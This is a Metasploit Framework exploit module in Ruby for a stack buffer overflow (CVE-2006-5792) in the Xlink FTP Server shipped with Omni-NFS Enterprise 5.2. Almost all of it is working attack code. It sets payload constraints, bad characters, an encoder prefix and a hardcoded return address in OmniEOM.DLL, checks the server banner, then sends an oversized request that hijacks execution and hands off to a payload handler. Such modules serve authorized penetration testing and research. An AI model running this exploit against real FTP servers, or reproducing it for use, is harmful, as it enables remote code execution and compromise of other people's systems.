## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Xlink FTP Server Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Xlink FTP Server that comes bundled with Omni-NFS Enterprise 5.2. When a overly long FTP request is sent to the server, arbitrary code may be executed. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2006-5792' ], [ 'OSVDB', '58646' ], [ 'URL', 'http://www.metasploit.com/' ], [ 'URL', 'http://www.xlink.com' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 260, 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ [ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1 ], 'DisclosureDate' => 'Oct 3 2009', 'DefaultTarget' => 0)) deregister_options('FTPUSER', 'FTPPASS') end def check connect disconnect if (banner =~ /XLINK FTP Server/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect sploit = payload.encoded + [target.ret].pack('V') sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n" print_status("Trying target #{target.name}...") sock.put(sploit) handler disconnect end end